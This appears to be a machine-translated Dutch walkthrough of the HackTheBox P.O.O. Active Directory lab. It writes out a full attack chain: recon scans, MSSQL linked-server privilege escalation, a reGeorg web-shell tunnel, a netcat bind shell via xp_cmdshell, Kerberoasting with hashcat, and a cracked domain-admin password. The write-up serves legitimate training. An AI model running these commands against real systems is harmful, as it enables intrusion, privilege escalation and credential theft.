HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

In dit artikel bespreken we niet alleen een machine, maar een hele mini-laboratorium op het platform. HackTheBox.

Zoals in de beschrijving staat, is P.O.O. bedoeld om vaardigheden in alle fasen van aanvallen in een kleine Active Directory-omgeving te testen. Het doel is om een beschikbare host te compromitteren, de privileges te verhogen en uiteindelijk het hele domein te compromitteren, terwijl we 5 vlaggen verzamelen.

De verbinding met het laboratorium wordt gemaakt via VPN. Het wordt aanbevolen om je niet te verbinden vanaf je werkcomputer of een host waar belangrijke gegevens op staan, aangezien je in een privĆ©netwerk komt met mensen die iets kunnen op het gebied van informatiebeveiliging šŸ™‚

Organisatie-informatie
Om je op de hoogte te houden van nieuwe artikelen, software en andere informatie, heb ik een kanaal op Telegram en groep opgericht voor het bespreken van vragen op het gebied van Informatiebeveiliging en Cyberbeveiliging. Ook zal ik persoonlijke verzoeken, vragen, voorstellen en aanbevelingen persoonlijk bekijken en iedereen beantwoorden.

Alle informatie is uitsluitend bedoeld voor educatieve doeleinden. De auteur van dit document aanvaardt geen enkele verantwoordelijkheid voor schade die aan iemand wordt toegebracht als gevolg van het gebruik van kennis en methoden die zijn verkregen door het bestuderen van dit document.

Intro

Dit endgame bestaat uit twee machines en bevat 5 vlaggen.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Er wordt ook een beschrijving en het adres van de beschikbare host gegeven.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Laten we beginnen!

Recon vlag

Deze machine heeft het IP-adres 10.13.38.11, dat ik toevoeg aan \/etc\hosts.
10.13.38.11 poo.htb

Als eerste scannen we de open poorten. Aangezien het lang duurt om alle poorten met nmap te scannen, doe ik dit eerst met masscan. We scannen alle TCP- en UDP-poorten vanaf de tun0-interface met een snelheid van 500 pakketten per seconde.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Nu, om meer gedetailleerde informatie te krijgen over de diensten die op de poorten draaien, starten we een scan met de optie -A.

nmap -A poo.htb -p80,1433

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Op deze manier hebben we de diensten IIS en MSSQL. Daarbij leren we de echte DNS-naam van het domein en de computer. De webserver begroet ons met de startpagina van IIS.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Laten we de mappen doornemen. Hiervoor gebruik ik gobuster. In de parameters geef ik het aantal threads 128 (-t), de URL (-u), het woordenboek (-w) en de extensies die we interessant vinden (-x).

gobuster dir -t 128 -u poo.htb -w \/usr\/share\/seclists\/Discovery\/Web-Content\/raft-large-words.txt -x php,aspx,html

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Zo hebben we HTTP-authenticatie voor de map /admin, evenals het beschikbare opslagbestand van de desktopservice .DS_Store. .DS_Store zijn bestanden die gebruikersinstellingen voor een map opslaan, zoals de bestandslijst, de locatie van pictogrammen en de gekozen achtergrondafbeelding. Dergelijke bestanden kunnen in de webserverdirectory terechtkomen bij webontwikkelaars. Hierdoor verkrijgen we informatie over de inhoud van de catalogus. Hiervoor kunnen we gebruiken DS_Store crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

We verkrijgen de inhoud van de catalogus. Het interessantste hier is de catalogus /dev, waar we in twee takken de bronnen en db-bestanden kunnen bekijken. Maar we kunnen de eerste 6 tekens van de bestands- en mapnamen zien, als de service kwetsbaar is voor IIS ShortName. Om deze kwetsbaarheid te controleren, kunnen we IIS shortname Scanner.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

En we vinden een tekstbestand dat begint met "poo_co". Niet wetende wat ik verder moest doen, heb ik gewoon alle woorden uit de directorywoordenlijst gekozen die beginnen met "co".

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

En we gaan deze doorlopen met wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

En we vinden het juiste woord! We bekijken dit bestand en slaan de inloggegevens op (gebaseerd op de parameter DBNAME zijn ze van MSSQL).

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

We geven de vlag in en we zijn met 20% gevorderd.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Huh vlag

We verbinden met MSSQL, ik gebruik DBeaver.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

We vinden niets interessants in deze database, laten we een SQL-editor maken en kijken welke gebruikers er zijn.

SELECT name FROM master..syslogins;

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

We hebben twee gebruikers. Laten we hun privileges controleren.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Dus, we hebben geen privileges. Laten we de gekoppelde servers bekijken, over deze methode heb ik in detail geschreven. hier.

SELECT * FROM master..sysservers;

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Zo vinden we nog een SQL Server. Laten we uitvoerencommando's op deze server controleren met behulp van openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

En we kunnen zelfs querybomen opbouwen.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Het is zo dat wanneer we een query naar de verbonden server uitvoeren, de query in de context van een andere gebruiker wordt uitgevoerd! Laten we kijken in welke context we op de verbonden server werken.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Laten we nu kijken in welke context de queries van de verbonden server naar de onze worden uitgevoerd!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Dus, dit is de DBO-context, die alle privileges zou moeten hebben. Laten we de privileges controleren in het geval van een query vanaf de verbonden server.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Zoals je kunt opmerken, hebben we alle privileges! Laten we zo onze eigen admin maken. Maar via openquery mogen ze niet, laten we dit doen via EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

En nu loggen we in met de inloggegevens van de nieuwe gebruiker en zien de nieuwe database flag.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

We zetten deze vlag in en gaan verder.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

BackTrack vlag

Laten we een shell verkrijgen met behulp van MSSQL, ik gebruik mssqlclient uit het impacket-pakket.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

We moeten wachtwoorden verkrijgen, en het eerste dat we al zijn tegengekomen, is de website. Dus we hebben de configuratie van de webserver nodig (een handige shell droppen lijkt niet te werken, omdat er blijkbaar een firewall actief is).

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Maar toegang is verboden. Hoewel we een bestand vanuit MSSQL kunnen lezen, moeten we alleen weten welke programmeertalen zijn ingesteld. En in de MSSQL-directory ontdekken we dat er Python beschikbaar is.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Dan is er geen probleem om het bestand web.config te lezen.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Met de gevonden inloggegevens gaan we naar \/admin en pakken we de vlag.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Foothold vlag

Eigenlijk zijn er enkele ongemakken bij het gebruik van een firewall, maar terwijl we de netwerkconfiguraties bekijken, merken we op dat er ook een IPv6-lek is!

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Laten we dit adres toevoegen aan \/etc\/hosts.
dead:babe::1001 poo6.htb
Laten we de host opnieuw scannen, maar dit keer met het IPv6-protocol.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

De WinRM-service is ook beschikbaar via IPv6. Laten we verbinding maken met de gevonden inloggegevens.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Er is een vlag op het bureaublad, laten we deze inleveren.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

P00ned vlag

Na verkenning van de host met behulp van winpeas vinden we niets bijzonders. Daarom is besloten om opnieuw naar inloggegevens te zoeken (ik heb hier ook over geschreven artikel). Maar het lukte me niet om alle SPN's uit het systeem te halen via WinRM.

setspn.exe -T intranet.poo -Q *
*

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Laten we het commando via MSSQL uitvoeren.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Op deze manier krijgen we de SPN's van de gebruikers p00_hr en p00_adm, wat betekent dat ze kwetsbaar zijn voor een aanval zoals Kerberoasting. Samengevat, we kunnen hun wachtwoordhashes verkrijgen.

Eerst moeten we een stabiele shell krijgen als de MSSQL-gebruiker. Maar omdat we beperkt zijn in toegang, hebben we verbinding met de host alleen via poort 80 en 1433. Maar er is een mogelijkheid om verkeer via poort 80 te tunnelen! Hiervoor gebruiken we de volgende applicatie. Laten we het bestand tunnel.aspx in de thuismap van de webserver uploaden — C:inetpubwwwroot.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Maar bij het proberen om het te benaderen, krijgen we een 404-fout. Dit betekent dat *.aspx-bestanden niet worden uitgevoerd. Om de bestanden met deze extensie uitvoerbaar te maken, installeren we ASP.NET 4.5 als volgt.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

En nu krijgen we een antwoord dat alles klaar is voor gebruik wanneer we tunnel.aspx aanroepen.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Laten we de clientzijde van de applicatie starten, die verantwoordelijk is voor het doorsturen van verkeer. We zullen al het verkeer van poort 5432 naar de server omleiden.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

En we gebruiken proxychains om verkeer van elke applicatie via onze proxy te sturen. Laten we deze proxy toevoegen aan het configuratiebestand /etc/proxychains.conf.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Nu laden we het programma netcat, waarmee we een stabiele bind-shell maken, en het script Invoke-Kerberoast, waarmee we de Kerberoasting-aanval uitvoeren.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Nu starten we de listener via MSSQL.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

En we verbinden via onze proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Laten we de hashes verkrijgen.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Daarna moeten we deze hashes kraken. Aangezien het rockyou-woordenboek deze wachtwoorden niet bevatte, heb ik ALLE woordenboeken met wachtwoorden uit Seclists gebruikt. We gebruiken hashcat om te kraken.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

En we vinden beide wachtwoorden, de eerste in het woordenboek dutch_passwordlist.txt en de tweede in Keyboard-Combinations.txt.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Dus we hebben drie gebruikers, we gaan naar de domeincontroller. Eerst ontdekken we het adres.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Geweldig, we hebben het IP-adres van de domeincontroller ontdekt. Laten we alle gebruikers van het domein leren kennen en ook wie van hen de administrator is. We zullen het script PowerView.ps1 downloaden om informatie te verkrijgen. Vervolgens verbinden we met evil-winrm en geven we de directory met het script op in de parameter -s. Daarna laden we gewoon het PowerView-script.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Nu zijn al zijn functies voor ons beschikbaar. Gebruiker p00_adm lijkt een geprivilegieerde gebruiker, dus we gaan in zijn context werken. We creƫren een PSCredential-object voor deze gebruiker.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Nu zullen alle PowerShell-commando's waarbij we Creds opgeven, worden uitgevoerd namens p00_adm. Laten we een lijst van gebruikers en het attribuut AdminCount weergeven.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Dus, onze gebruiker is daadwerkelijk geprivilegieerd. Laten we zien in welke groepen hij zit.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

We bevestigen uiteindelijk dat de gebruiker een domeinadministrator is. Dit geeft hem het recht om op afstand in te loggen op de domeincontroller. Laten we proberen in te loggen via WinRM met onze tunnel. Ik was verontrust door de fouten die reGeorg gaf bij het gebruik van evil-winrm.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Laten we een andere, eenvoudigere, script voor verbinding met WinRM gebruiken. We openen en wijzigen de verbindingsparameters.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

We proberen verbinding te maken en we zijn in het systeem.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Maar de vlag is er niet. Laten we de gebruiker bekijken en de bureaubladen controleren.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Bij mr3ks vinden we de vlag en het laboratorium is helemaal afgerond.

HackTheBox endgame. Het doorlopen van het laboratorium Professional Offensive Operations. Pentest Active Directory

Dat is het. Als feedback, laat een opmerking achter—heeft u iets nieuws geleerd van dit artikel en was het nuttig voor u?

Je kunt je bij ons voegen op Telegram. Daar vind je interessante materialen, uitgelekte cursussen en software. Laten we een gemeenschap vormen met mensen die veel gebieden van IT begrijpen, zodat we elkaar altijd kunnen helpen met vragen over IT en beveiliging.

Bron: habr.com

Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers šŸ”„ Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers | ProHoster